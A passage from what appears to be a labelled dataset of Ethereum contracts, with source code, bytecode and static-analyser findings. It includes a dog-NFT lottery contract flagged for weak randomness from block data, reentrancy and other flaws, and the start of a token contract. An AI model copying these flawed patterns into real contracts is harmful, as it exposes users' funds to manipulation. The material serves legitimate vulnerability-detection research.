516001600160a01b031683529383019391830191600101611eaa565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611f0357611f03611f7b565b500190565b600082611f2557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f4457611f44611f7b565b500290565b600082821015611f5b57611f5b611f7b565b500390565b6000600019821415611f7457611f74611f7b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209f602c8b1ab00813af42a1e04ccef8567ac6bb76ced053b129e9bbdd385aeb4964736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,045 |
0x8b9d642d1e455119778a5aaca416a216feec163d
|
pragma solidity ^0.4.18;
contract DogCoreInterface {
address public ceoAddress;
address public cfoAddress;
function getDog(uint256 _id)
external
view
returns (
uint256 cooldownIndex,
uint256 nextActionAt,
uint256 siringWithId,
uint256 birthTime,
uint256 matronId,
uint256 sireId,
uint256 generation,
uint256 genes,
uint8 variation,
uint256 gen0
);
function ownerOf(uint256 _tokenId) external view returns (address);
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function sendMoney(address _to, uint256 _money) external;
function totalSupply() external view returns (uint);
function getOwner(uint256 _tokenId) public view returns(address);
function getAvailableBlance() external view returns(uint256);
}
contract LotteryBase {
uint8 public currentGene;
uint256 public lastBlockNumber;
uint256 randomSeed = 1;
struct CLottery {
uint8[7] luckyGenes;
uint256 totalAmount;
uint256 openBlock;
bool isReward;
bool noFirstReward;
}
CLottery[] public CLotteries;
address public finalLottery;
uint256 public SpoolAmount = 0;
DogCoreInterface public dogCore;
event OpenLottery(uint8 currentGene, uint8 luckyGenes, uint256 currentTerm, uint256 blockNumber, uint256 totalAmount);
event OpenCarousel(uint256 luckyGenes, uint256 currentTerm, uint256 blockNumber, uint256 totalAmount);
modifier onlyCEO() {
require(msg.sender == dogCore.ceoAddress());
_;
}
modifier onlyCFO() {
require(msg.sender == dogCore.cfoAddress());
_;
}
function toLotteryPool(uint amount) public onlyCFO {
require(SpoolAmount >= amount);
SpoolAmount -= amount;
}
function _isCarousal(uint256 currentTerm) external view returns(bool) {
return (currentTerm > 1 && CLotteries[currentTerm - 2].noFirstReward && CLotteries[currentTerm - 1].noFirstReward);
}
function getCurrentTerm() external view returns (uint256) {
return (CLotteries.length - 1);
}
}
contract LotteryGenes is LotteryBase {
function convertGeneArray(uint256 gene) public pure returns(uint8[7]) {
uint8[28] memory geneArray;
uint8[7] memory lotteryArray;
uint index = 0;
for (index = 0; index < 28; index++) {
uint256 geneItem = gene % (2 ** (5 * (index + 1)));
geneItem /= (2 ** (5 * index));
geneArray[index] = uint8(geneItem);
}
for (index = 0; index < 7; index++) {
uint size = 4 * index;
lotteryArray[index] = geneArray[size];
}
return lotteryArray;
}
function convertGene(uint8[7] luckyGenes) public pure returns(uint256) {
uint8[28] memory geneArray;
for (uint8 i = 0; i < 28; i++) {
if (i%4 == 0) {
geneArray[i] = luckyGenes[i/4];
} else {
geneArray[i] = 6;
}
}
uint256 gene = uint256(geneArray[0]);
for (uint8 index = 1; index < 28; index++) {
uint256 geneItem = uint256(geneArray[index]);
gene += geneItem << (index * 5);
}
return gene;
}
}
contract SetLottery is LotteryGenes {
function random(uint8 seed) internal returns(uint8) {
randomSeed = block.timestamp;
return uint8(uint256(keccak256(randomSeed, block.difficulty))%seed)+1;
}
function openLottery(uint8 _viewId) public returns(uint8,uint8) {
uint8 viewId = _viewId;
require(viewId < 7);
uint256 currentTerm = CLotteries.length - 1;
CLottery storage clottery = CLotteries[currentTerm];
if (currentGene == 0 && clottery.openBlock > 0 && clottery.isReward == false) {
OpenLottery(viewId, clottery.luckyGenes[viewId], currentTerm, clottery.openBlock, clottery.totalAmount);
return (clottery.luckyGenes[viewId],1);
}
if (lastBlockNumber == block.number) {
OpenLottery(viewId, clottery.luckyGenes[viewId], currentTerm, clottery.openBlock, clottery.totalAmount);
return (clottery.luckyGenes[viewId],2);
}
if (currentGene == 0 && clottery.isReward == true) {
CLottery memory _clottery;
_clottery.luckyGenes = [0,0,0,0,0,0,0];
_clottery.totalAmount = uint256(0);
_clottery.isReward = false;
_clottery.openBlock = uint256(0);
currentTerm = CLotteries.push(_clottery) - 1;
}
if (this._isCarousal(currentTerm)) {
revert();
}
uint8 luckyNum = 0;
uint256 bonusBalance = dogCore.getAvailableBlance();
if (currentGene == 6) {
if (bonusBalance <= SpoolAmount) {
OpenLottery(viewId, clottery.luckyGenes[viewId], currentTerm, 0, 0);
return (clottery.luckyGenes[viewId],3);
}
luckyNum = random(8);
CLotteries[currentTerm].luckyGenes[currentGene] = luckyNum;
OpenLottery(currentGene, luckyNum, currentTerm, block.number, bonusBalance);
currentGene = 0;
CLotteries[currentTerm].openBlock = block.number;
CLotteries[currentTerm].totalAmount = bonusBalance;
lastBlockNumber = block.number;
} else {
luckyNum = random(12);
CLotteries[currentTerm].luckyGenes[currentGene] = luckyNum;
OpenLottery(currentGene, luckyNum, currentTerm, 0, 0);
currentGene ++;
lastBlockNumber = block.number;
}
return (luckyNum,0);
}
function random2() internal view returns (uint256) {
return uint256(uint256(keccak256(block.timestamp, block.difficulty))%uint256(dogCore.totalSupply()) + 1);
}
function openCarousel() public {
uint256 currentTerm = CLotteries.length - 1;
CLottery storage clottery = CLotteries[currentTerm];
if (currentGene == 0 && clottery.openBlock > 0 && clottery.isReward == false) {
OpenCarousel(convertGene(clottery.luckyGenes), currentTerm, clottery.openBlock, clottery.totalAmount);
}
if (currentGene == 0 && clottery.openBlock > 0 && clottery.isReward == true) {
CLottery memory _clottery;
_clottery.luckyGenes = [0,0,0,0,0,0,0];
_clottery.totalAmount = uint256(0);
_clottery.isReward = false;
_clottery.openBlock = uint256(0);
currentTerm = CLotteries.push(_clottery) - 1;
}
uint256 bonusBlance = dogCore.getAvailableBlance();
require (this._isCarousal(currentTerm));
uint256 genes = _getValidRandomGenes();
require (genes > 0);
uint8[7] memory luckyGenes = convertGeneArray(genes);
OpenCarousel(genes, currentTerm, block.number, bonusBlance);
CLotteries[currentTerm].luckyGenes = luckyGenes;
CLotteries[currentTerm].openBlock = block.number;
CLotteries[currentTerm].totalAmount = bonusBlance;
}
function _getValidRandomGenes() internal view returns (uint256) {
uint256 luckyDog = random2();
uint256 genes = _validGenes(luckyDog);
uint256 totalSupply = dogCore.totalSupply();
if (genes > 0) {
return genes;
}
uint256 min = (luckyDog < totalSupply-luckyDog) ? (luckyDog - 1) : totalSupply-luckyDog;
for (uint256 i = 1; i < min + 1; i++) {
genes = _validGenes(luckyDog - i);
if (genes > 0) {
break;
}
genes = _validGenes(luckyDog + i);
if (genes > 0) {
break;
}
}
if (genes == 0) {
if (min == luckyDog - 1) {
for (i = min + luckyDog; i < totalSupply + 1; i++) {
genes = _validGenes(i);
if (genes > 0) {
break;
}
}
}
if (min == totalSupply - luckyDog) {
for (i = min; i < luckyDog; i++) {
genes = _validGenes(luckyDog - i - 1);
if (genes > 0) {
break;
}
}
}
}
return genes;
}
function _validGenes(uint256 dogId) internal view returns (uint256) {
var(, , , , , ,generation, genes, variation,) = dogCore.getDog(dogId);
if (generation == 0 || dogCore.ownerOf(dogId) == finalLottery || variation > 0) {
return 0;
} else {
return genes;
}
}
}
contract LotteryCore is SetLottery {
function LotteryCore(address _ktAddress) public {
dogCore = DogCoreInterface(_ktAddress);
CLottery memory _clottery;
_clottery.luckyGenes = [0,0,0,0,0,0,0];
_clottery.totalAmount = uint256(0);
_clottery.isReward = false;
_clottery.openBlock = uint256(0);
CLotteries.push(_clottery);
}
function setFinalLotteryAddress(address _flAddress) public onlyCEO {
finalLottery = _flAddress;
}
function getCLottery()
public
view
returns (
uint8[7] luckyGenes,
uint256 totalAmount,
uint256 openBlock,
bool isReward,
uint256 term
) {
term = CLotteries.length - uint256(1);
luckyGenes = CLotteries[term].luckyGenes;
totalAmount = CLotteries[term].totalAmount;
openBlock = CLotteries[term].openBlock;
isReward = CLotteries[term].isReward;
}
function rewardLottery(bool isMore) external {
require(msg.sender == finalLottery);
uint256 term = CLotteries.length - 1;
CLotteries[term].isReward = true;
CLotteries[term].noFirstReward = isMore;
}
function toSPool(uint amount) external {
require(msg.sender == finalLottery);
SpoolAmount += amount;
}
}
contract FinalLottery {
bool public isLottery = true;
LotteryCore public lotteryCore;
DogCoreInterface public dogCore;
uint8[7] public luckyGenes;
uint256 totalAmount;
uint256 openBlock;
bool isReward;
uint256 currentTerm;
uint256 public duration;
uint8 public lotteryRatio;
uint8[7] public lotteryParam;
uint8 public carousalRatio;
uint8[7] public carousalParam;
struct FLottery {
address[] owners0;
uint256[] dogs0;
address[] owners1;
uint256[] dogs1;
address[] owners2;
uint256[] dogs2;
address[] owners3;
uint256[] dogs3;
address[] owners4;
uint256[] dogs4;
address[] owners5;
uint256[] dogs5;
address[] owners6;
uint256[] dogs6;
uint256[] reward;
}
mapping(uint256 => FLottery) flotteries;
function FinalLottery(address _lcAddress) public {
lotteryCore = LotteryCore(_lcAddress);
dogCore = DogCoreInterface(lotteryCore.dogCore());
duration = 11520;
lotteryRatio = 23;
lotteryParam = [46,16,10,9,8,6,5];
carousalRatio = 12;
carousalParam = [35,18,14,12,8,7,6];
}
event DistributeLottery(uint256[] rewardArray, uint256 currentTerm);
event RegisterLottery(uint256 dogId, address owner, uint8 lotteryClass, string result);
function setLotteryDuration(uint256 durationBlocks) public {
require(msg.sender == dogCore.ceoAddress());
require(durationBlocks > 140);
require(durationBlocks < block.number);
duration = durationBlocks;
}
function registerLottery(uint256 dogId) public returns (uint8) {
uint256 _dogId = dogId;
(luckyGenes, totalAmount, openBlock, isReward, currentTerm) = lotteryCore.getCLottery();
address owner = dogCore.ownerOf(_dogId);
require (owner != address(this));
require(address(dogCore) == msg.sender);
require(totalAmount > 0 && isReward == false && openBlock > (block.number-duration));
var(, , , birthTime, , ,generation,genes, variation,) = dogCore.getDog(_dogId);
require(birthTime < openBlock);
require(generation > 0);
require(variation == 0);
uint8 _lotteryClass = getLotteryClass(luckyGenes, genes);
require(_lotteryClass < 7);
address[] memory owners;
uint256[] memory dogs;
(dogs, owners) = _getLuckyList(currentTerm, _lotteryClass);
for (uint i = 0; i < dogs.length; i++) {
if (_dogId == dogs[i]) {
RegisterLottery(_dogId, owner, _lotteryClass,"dog already registered");
return 5;
}
}
_pushLuckyInfo(currentTerm, _lotteryClass, owner, _dogId);
RegisterLottery(_dogId, owner, _lotteryClass,"successful");
return 0;
}
function distributeLottery() public returns (uint8) {
(luckyGenes, totalAmount, openBlock, isReward, currentTerm) = lotteryCore.getCLottery();
require(openBlock > 0 && openBlock < (block.number-duration));
require(totalAmount >= lotteryCore.SpoolAmount());
if (isReward == true) {
DistributeLottery(flotteries[currentTerm].reward, currentTerm);
return 1;
}
uint256 legalAmount = totalAmount - lotteryCore.SpoolAmount();
uint256 totalDistribute = 0;
uint8[7] memory lR;
uint8 ratio;
if (lotteryCore._isCarousal(currentTerm) ) {
lR = carousalParam;
ratio = carousalRatio;
} else {
lR = lotteryParam;
ratio = lotteryRatio;
}
for (uint8 i = 0; i < 7; i++) {
address[] memory owners;
uint256[] memory dogs;
(dogs, owners) = _getLuckyList(currentTerm, i);
if (owners.length > 0) {
uint256 reward = (legalAmount * ratio * lR[i])/(10000 * owners.length);
totalDistribute += reward * owners.length;
dogCore.sendMoney(dogCore.cfoAddress(),reward * owners.length/10);
for (uint j = 0; j < owners.length; j++) {
address gen0Add;
if (i == 0) {
dogCore.sendMoney(owners[j],reward*95*9/1000);
gen0Add = _getGen0Address(dogs[j]);
if(gen0Add != address(0)){
dogCore.sendMoney(gen0Add,reward*5/100);
}
} else if (i == 1) {
dogCore.sendMoney(owners[j],reward*97*9/1000);
gen0Add = _getGen0Address(dogs[j]);
if(gen0Add != address(0)){
dogCore.sendMoney(gen0Add,reward*3/100);
}
} else if (i == 2) {
dogCore.sendMoney(owners[j],reward*98*9/1000);
gen0Add = _getGen0Address(dogs[j]);
if(gen0Add != address(0)){
dogCore.sendMoney(gen0Add,reward*2/100);
}
} else {
dogCore.sendMoney(owners[j],reward*9/10);
}
}
flotteries[currentTerm].reward.push(reward);
} else {
flotteries[currentTerm].reward.push(0);
}
}
if (flotteries[currentTerm].owners0.length == 0) {
lotteryCore.toSPool((dogCore.getAvailableBlance() - lotteryCore.SpoolAmount())/20);
lotteryCore.rewardLottery(true);
} else {
lotteryCore.rewardLottery(false);
}
DistributeLottery(flotteries[currentTerm].reward, currentTerm);
return 0;
}
function _getGen0Address(uint256 dogId) internal view returns(address) {
var(, , , , , , , , , gen0) = dogCore.getDog(dogId);
return dogCore.getOwner(gen0);
}
function _getLuckyList(uint256 currentTerm1, uint8 lotclass) public view returns (uint256[] kts, address[] ons) {
if (lotclass==0) {
ons = flotteries[currentTerm1].owners0;
kts = flotteries[currentTerm1].dogs0;
} else if (lotclass==1) {
ons = flotteries[currentTerm1].owners1;
kts = flotteries[currentTerm1].dogs1;
} else if (lotclass==2) {
ons = flotteries[currentTerm1].owners2;
kts = flotteries[currentTerm1].dogs2;
} else if (lotclass==3) {
ons = flotteries[currentTerm1].owners3;
kts = flotteries[currentTerm1].dogs3;
} else if (lotclass==4) {
ons = flotteries[currentTerm1].owners4;
kts = flotteries[currentTerm1].dogs4;
} else if (lotclass==5) {
ons = flotteries[currentTerm1].owners5;
kts = flotteries[currentTerm1].dogs5;
} else if (lotclass==6) {
ons = flotteries[currentTerm1].owners6;
kts = flotteries[currentTerm1].dogs6;
}
}
function _pushLuckyInfo(uint256 currentTerm1, uint8 _lotteryClass, address owner, uint256 _dogId) internal {
if (_lotteryClass == 0) {
flotteries[currentTerm1].owners0.push(owner);
flotteries[currentTerm1].dogs0.push(_dogId);
} else if (_lotteryClass == 1) {
flotteries[currentTerm1].owners1.push(owner);
flotteries[currentTerm1].dogs1.push(_dogId);
} else if (_lotteryClass == 2) {
flotteries[currentTerm1].owners2.push(owner);
flotteries[currentTerm1].dogs2.push(_dogId);
} else if (_lotteryClass == 3) {
flotteries[currentTerm1].owners3.push(owner);
flotteries[currentTerm1].dogs3.push(_dogId);
} else if (_lotteryClass == 4) {
flotteries[currentTerm1].owners4.push(owner);
flotteries[currentTerm1].dogs4.push(_dogId);
} else if (_lotteryClass == 5) {
flotteries[currentTerm1].owners5.push(owner);
flotteries[currentTerm1].dogs5.push(_dogId);
} else if (_lotteryClass == 6) {
flotteries[currentTerm1].owners6.push(owner);
flotteries[currentTerm1].dogs6.push(_dogId);
}
}
function getLotteryClass(uint8[7] luckyGenesArray, uint256 genes) internal view returns(uint8) {
if (currentTerm < 0) {
return 100;
}
uint8[7] memory dogArray = lotteryCore.convertGeneArray(genes);
uint8 cnt = 0;
uint8 lnt = 0;
for (uint i = 0; i < 6; i++) {
if (luckyGenesArray[i] > 0 && luckyGenesArray[i] == dogArray[i]) {
cnt++;
}
}
if (luckyGenesArray[6] > 0 && luckyGenesArray[6] == dogArray[6]) {
lnt = 1;
}
uint8 lotclass = 100;
if (cnt==6 && lnt==1) {
lotclass = 0;
} else if (cnt==6 && lnt==0) {
lotclass = 1;
} else if (cnt==5 && lnt==1) {
lotclass = 2;
} else if (cnt==5 && lnt==0) {
lotclass = 3;
} else if (cnt==4 && lnt==1) {
lotclass = 4;
} else if (cnt==3 && lnt==1) {
lotclass = 5;
} else if (cnt==3 && lnt==0) {
lotclass = 6;
} else {
lotclass = 100;
}
return lotclass;
}
function checkLottery(uint256 genes) public view returns(uint8) {
var(luckyGenesArray, , , isReward1, ) = lotteryCore.getCLottery();
if (isReward1) {
return 100;
}
return getLotteryClass(luckyGenesArray, genes);
}
function getCLottery()
public
view
returns (
uint8[7] luckyGenes1,
uint256 totalAmount1,
uint256 openBlock1,
bool isReward1,
uint256 term1,
uint8 currentGenes1,
uint256 tSupply,
uint256 sPoolAmount1,
uint256[] reward1
) {
(luckyGenes1, totalAmount1, openBlock1, isReward1, term1) = lotteryCore.getCLottery();
currentGenes1 = lotteryCore.currentGene();
tSupply = dogCore.totalSupply();
sPoolAmount1 = lotteryCore.SpoolAmount();
reward1 = flotteries[term1].reward;
}
}
|
0x6060604052600436106100d75763ffffffff60e060020a60003504166309d7ab7a81146100dc5780630c1a8b05146101275780631d4f3e8b1461013f57806324a434eb146101aa5780632552317c146101bd57806327729e93146101d0578063735056a314610207578063760df4fe1461021a5780638a24fd78146102445780638c4430b41461029257806392ecf577146102b157806392ff4be4146102c4578063b76b37dd146102f3578063cc13555514610309578063e4504f6214610332578063e5d71cfe14610345578063fa467f271461035d575b600080fd5b34156100e757600080fd5b610115600460e481600760e06040519081016040529190828260e080828437509395506103a1945050505050565b60405190815260200160405180910390f35b341561013257600080fd5b61013d600435610490565b005b341561014a57600080fd5b6101526104b6565b604051808660e080838360005b8381101561017757808201518382015260200161015f565b50505050905001858152602001848152602001831515151581526020018281526020019550505050505060405180910390f35b34156101b557600080fd5b61013d6105b3565b34156101c857600080fd5b610115610996565b34156101db57600080fd5b6101e960ff6004351661099c565b60405160ff9283168152911660208201526040908101905180910390f35b341561021257600080fd5b610115610fe3565b341561022557600080fd5b610230600435610fe9565b604051901515815260200160405180910390f35b341561024f57600080fd5b61025a600435611067565b604051808260e080838360005b8381101561027f578082015183820152602001610267565b5050505090500191505060405180910390f35b341561029d57600080fd5b61013d600160a060020a0360043516611130565b34156102bc57600080fd5b6101156111e1565b34156102cf57600080fd5b6102d76111ec565b604051600160a060020a03909116815260200160405180910390f35b34156102fe57600080fd5b61013d6004356111fb565b341561031457600080fd5b61031c611299565b60405160ff909116815260200160405180910390f35b341561033d57600080fd5b6102d76112a2565b341561035057600080fd5b61013d60043515156112b1565b341561036857600080fd5b61037360043561134b565b6040519384526020840192909252151560408084019190915290151560608301526080909101905180910390f35b60006103ab611744565b60008080805b601c8460ff16101561043657600460ff85160660ff166000141561040c5786600460ff86160460ff166007811015156103e657fe5b60200201518560ff8616601c81106103fa57fe5b60ff909216602092909202015261042b565b60068560ff8616601c811061041d57fe5b60ff90921660209290920201525b6001909301926103b1565b845160ff169250600191505b601c8260ff161015610485578460ff8316601c811061045d57fe5b602002015160ff1690508160050260ff16819060020a02830192508180600101925050610442565b509095945050505050565b60045433600160a060020a039081169116146104ab57600080fd5b600580549091019055565b6104be61176d565b6003805460009182918291600019820191829081106104d957fe5b60009182526020909120600490910201600760e0604051908101604052919060e08301826000855b825461010083900a900460ff168152602060019283018181049485019490930390920291018084116105015790505050505050945060038181548110151561054557fe5b906000526020600020906004020160010154935060038181548110151561056857fe5b906000526020600020906004020160020154925060038181548110151561058b57fe5b906000526020600020906004020160030160009054906101000a900460ff1691509091929394565b6000806105be611787565b6000806105c961176d565b6003805460001981019750879081106105de57fe5b60009182526020822091546004909102909101955060ff16158015610607575060008560020154115b80156106185750600385015460ff16155b156106c8577fc006a516d5f6c2318dd60e41237f5b7d55da3258f8d9bc4bdbf96ee6d1e142ec61069286600760e0604051908101604052919060e08301826000855b825461010083900a900460ff1681526020600192830181810494850194909303909202910180841161065a57905050505050506103a1565b87876002015488600101546040518085815260200184815260200183815260200182815260200194505050505060405180910390a15b60005460ff161580156106df575060008560020154115b80156106f45750600385015460ff1615156001145b156107cd5760e060405190810160409081526000808352602080840182905282840182905260608085018390526080850183905260a0850183905260c085018390529388528701819052918601829052850152600380546001919080830161075c83826117be565b60009283526020909220879160040201815161077b90829060076117ef565b506020820151816001015560408201518160020155606082015160038201805460ff19169115159190911790556080820151600390910180549115156101000261ff0019909216919091179055500395505b600654600160a060020a03166302e0a2ff6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561081557600080fd5b6102c65a03f1151561082657600080fd5b5050506040518051935050600160a060020a03301663760df4fe8760006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561088057600080fd5b6102c65a03f1151561089157600080fd5b5050506040518051905015156108a657600080fd5b6108ae61138b565b9150600082116108bd57600080fd5b6108c682611067565b90507fc006a516d5f6c2318dd60e41237f5b7d55da3258f8d9bc4bdbf96ee6d1e142ec828743866040518085815260200184815260200183815260200182815260200194505050505060405180910390a18060038781548110151561092757fe5b60009182526020909120610943926004909202019060076117ef565b504360038781548110151561095457fe5b9060005260206000209060040201600201819055508260038781548110151561097957fe5b906000526020600020906004020160010181905550505050505050565b60015481565b60008060008060006109ac611787565b869350600080600760ff8716106109c257600080fd5b6003805460001981019650869081106109d757fe5b60009182526020822091546004909102909101945060ff16158015610a00575060008460020154115b8015610a115750600384015460ff16155b15610ab9576000805160206118e6833981519152868560ff821660078110610a3557fe5b602091828204019190069054906101000a900460ff16878760020154886001015460405160ff95861681529390941660208401526040808401929092526060830152608082019290925260a001905180910390a18360ff871660078110610a9857fe5b60208082049092015460ff929091066101000a900416975060019650610fd8565b436001541415610b66576000805160206118e6833981519152868560ff821660078110610ae257fe5b602091828204019190069054906101000a900460ff16878760020154886001015460405160ff95861681529390941660208401526040808401929092526060830152608082019290925260a001905180910390a18360ff871660078110610b4557fe5b60208082049092015460ff929091066101000a900416975060029650610fd8565b60005460ff16158015610b825750600384015460ff1615156001145b15610c5b5760e060405190810160409081526000808352602080840182905282840182905260608085018390526080850183905260a0850183905260c0850183905293875286018190529185018290528401526003805460019190808301610bea83826117be565b600092835260209092208691600402018151610c0990829060076117ef565b506020820151816001015560408201518160020155606082015160038201805460ff19169115159190911790556080820151600390910180549115156101000261ff0019909216919091179055500394505b30600160a060020a031663760df4fe8660006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610caa57600080fd5b6102c65a03f11515610cbb57600080fd5b5050506040518051905015610ccf57600080fd5b60065460009250600160a060020a03166302e0a2ff83604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610d1a57600080fd5b6102c65a03f11515610d2b57600080fd5b505050604051805160005490925060ff16600614159050610efe576005548111610deb576000805160206118e6833981519152868560ff821660078110610d6e57fe5b602091828204019190069054906101000a900460ff168760008060405160ff95861681529390941660208401526040808401929092526060830152608082019290925260a001905180910390a18360ff871660078110610dca57fe5b60208082049092015460ff929091066101000a900416975060039650610fd8565b610df5600861150f565b915081600386815481101515610e0757fe5b600091825260208220915460049091029091019060ff1660078110610e2857fe5b602091828204019190066101000a81548160ff021916908360ff1602179055506000805160206118e68339815191526000809054906101000a900460ff168387438560405160ff95861681529390941660208401526040808401929092526060830152608082019290925260a001905180910390a16000805460ff191690556003805443919087908110610eb857fe5b90600052602060002090600402016002018190555080600386815481101515610edd57fe5b90600052602060002090600402016001018190555043600181905550610fce565b610f08600c61150f565b915081600386815481101515610f1a57fe5b600091825260208220915460049091029091019060ff1660078110610f3b57fe5b602091828204019190066101000a81548160ff021916908360ff1602179055506000805160206118e68339815191526000809054906101000a900460ff16838760008060405160ff95861681529390941660208401526040808401929092526060830152608082019290925260a001905180910390a16000805460ff198116600160ff9283168101909216179091554390555b9096506000955086905b505050505050915091565b60055481565b6000600182118015611028575060038054600119840190811061100857fe5b906000526020600020906004020160030160019054906101000a900460ff165b8015611061575060038054600019840190811061104157fe5b906000526020600020906004020160030160019054906101000a900460ff165b92915050565b61106f61176d565b611077611744565b61107f61176d565b600080805b601c8310156110dd578260010160050260020a878115156110a157fe5b0691508260050260020a828115156110b557fe5b049150818584601c81106110c557fe5b60ff9092166020929092020152600190920191611084565b600092505b60078310156111255750600482028481601c81106110fc57fe5b602002015184846007811061110d57fe5b60ff90921660209290920201526001909201916110e2565b509195945050505050565b600654600160a060020a0316630a0f81686000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561117857600080fd5b6102c65a03f1151561118957600080fd5b50505060405180519050600160a060020a031633600160a060020a03161415156111b257600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600354600019015b90565b600454600160a060020a031681565b600654600160a060020a0316630519ce796000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561124357600080fd5b6102c65a03f1151561125457600080fd5b50505060405180519050600160a060020a031633600160a060020a031614151561127d57600080fd5b6005548190101561128d57600080fd5b60058054919091039055565b60005460ff1681565b600654600160a060020a031681565b60045460009033600160a060020a039081169116146112cf57600080fd5b5060038054600019810191600191839081106112e757fe5b906000526020600020906004020160030160006101000a81548160ff0219169083151502179055508160038281548110151561131f57fe5b906000526020600020906004020160030160016101000a81548160ff0219169083151502179055505050565b600380548290811061135957fe5b600091825260209091206004909102016001810154600282015460039092015490925060ff8082169161010090041684565b60008060008060008061139c61154a565b94506113a7856115db565b600654909450600160a060020a03166318160ddd6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156113f257600080fd5b6102c65a03f1151561140357600080fd5b5050506040518051935050600084111561141f57839550611507565b848303851061143057848303611435565b600185035b9150600190505b81600101811015611485576114528186036115db565b9350600084111561146257611485565b61146d8186016115db565b9350600084111561147d57611485565b60010161143c565b83151561150357600185038214156114c857508084015b826001018110156114c8576114b0816115db565b935060008411156114c0576114c8565b60010161149c565b8483038214156115035750805b84811015611503576114eb6001828703036115db565b935060008411156114fb57611503565b6001016114d5565b8395505b505050505090565b42600281905560009060ff8316904460405191825260208201526040908101905190819003902081151561153f57fe5b066001019050919050565b600654600090600160a060020a03166318160ddd82604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561159457600080fd5b6102c65a03f115156115a557600080fd5b5050506040518051905042446040519182526020820152604090810190519081900390208115156115d257fe5b06600101905090565b600654600090819081908190600160a060020a0316637c62e2a48683604051610140015260405160e060020a63ffffffff8416028152600481019190915260240161014060405180830381600087803b151561163657600080fd5b6102c65a03f1151561164757600080fd5b5050506040518051906020018051906020018051906020018051906020018051906020018051906020018051906020018051906020018051906020018051905050985098509850505050505050826000148061171c5750600454600654600160a060020a039182169116636352211e8760006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156116f657600080fd5b6102c65a03f1151561170757600080fd5b50505060405180519050600160a060020a0316145b8061172a575060008160ff16115b15611738576000935061173c565b8193505b505050919050565b610380604051908101604052601c815b6000815260001990910190602001816117545790505090565b60e060405190810160405260008152600660208201611754565b6101606040519081016040528061179c61176d565b8152600060208201819052604082018190526060820181905260809091015290565b8154818355818115116117ea576004028160040283600052602060002091820191016117ea9190611882565b505050565b6001830191839082156118725791602002820160005b8382111561184357835183826101000a81548160ff021916908360ff1602179055509260200192600101602081600001049283019260010302611805565b80156118705782816101000a81549060ff0219169055600101602081600001049283019260010302611843565b505b5061187e9291506118c0565b5090565b6111e991905b8082111561187e57600061189c82826118de565b50600060018201819055600282015560038101805461ffff19169055600401611888565b6111e991905b8082111561187e57805460ff191681556001016118c6565b50600090555600f3ae3a87748cf6ff3c55446f70d256544ce86daa0600f78a9f398d9b33f3e407a165627a7a72305820e4df1409c1adc822e66026f39d94454b7274755d6618f24f43ad0df3d51c6dd70029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 6,046 |
0xc5e5a0bcfe17671ee1d510af9cf8aebe58521010
|
/**
Cyber Adamash aim to explore the multidimensional life, the eternity of time and the edge of the universe, and subtle and profound trend of culture.
https://cyberadamash.xyz/
*/
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
